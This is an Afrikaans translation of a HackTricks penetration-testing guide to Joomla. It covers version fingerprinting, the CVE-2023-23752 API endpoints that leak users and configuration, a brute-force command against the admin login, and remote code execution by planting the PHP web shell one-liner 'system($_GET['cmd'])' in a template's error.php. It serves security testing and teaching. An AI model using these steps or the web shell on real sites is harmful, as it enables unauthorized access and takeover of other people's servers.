hacktricks/network-services-pentesting/pentesting-web/joomla.md

4.6 KiB

Joomla

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Joomla Statistiek

Joomla versamel sekere anonieme gebruikstatistieke soos die uiteensetting van Joomla, PHP en databasisweergawes en bedienersisteme wat op Joomla-installasies gebruik word. Hierdie data kan ondervra word via hul openbare API.

curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool

{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}

Opsomming

Ontdekking/Voetspoor

  • Kontroleer die meta
curl https://www.joomla.org/ | grep Joomla | grep generator

<meta name="generator" content="Joomla! - Open Source Content Management" />
  • robots.txt
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
  • README.txt
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging

Weergawe

  • In /administrator/manifests/files/joomla.xml kan jy die weergawe sien.
  • In /language/en-GB/en-GB.xml kan jy die weergawe van Joomla kry.
  • In plugins/system/cache/cache.xml kan jy 'n benaderende weergawe sien.
droopescan scan joomla --url http://joomla-site.local/

In 80,443 - Pentesting Web Metodologie is 'n afdeling oor CMS-skandeerders wat Joomla kan skandeer.

API Ongeagte Geen-gemagtigde Inligting Uitlek:

Weergawes vanaf 4.0.0 tot 4.2.7 is vatbaar vir Ongeagte inligting uitlek (CVE-2023-23752) wat kredite en ander inligting sal dump.

  • Gebruikers: http://<host>/api/v1/users?public=true

  • Konfigurasie-lêer: http://<host>/api/index.php/v1/config/application?public=true

MSF Module: scanner/http/joomla_api_improper_access_checks of ruby-skrip: 51334

Brute-Force

Jy kan hierdie skrip gebruik om die aanmelding met geweld te probeer.

sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

admin:admin

RCE

As jy daarin slaag om admin-kredensiale te kry, kan jy RCE binne-in dit kry deur 'n snipper van PHP-kode by te voeg om RCE te verkry. Ons kan dit doen deur 'n sjabloon aan te pas.

  1. Klik op Templates aan die onderkant links onder Configuration om die sjabloonmenu op te roep.
  2. Klik op 'n sjabloonnaam. Laat ons protostar kies onder die Template kolomkop. Dit sal ons na die Templates: Customise bladsy bring.
  3. Laastens kan jy op 'n bladsy klik om die bladsybron op te roep. Laat ons die error.php bladsy kies. Ons sal 'n PHP een-liner byvoeg om kode-uitvoering te verkry soos volg:
  4. system($_GET['cmd']);
  5. Save & Close
  6. curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id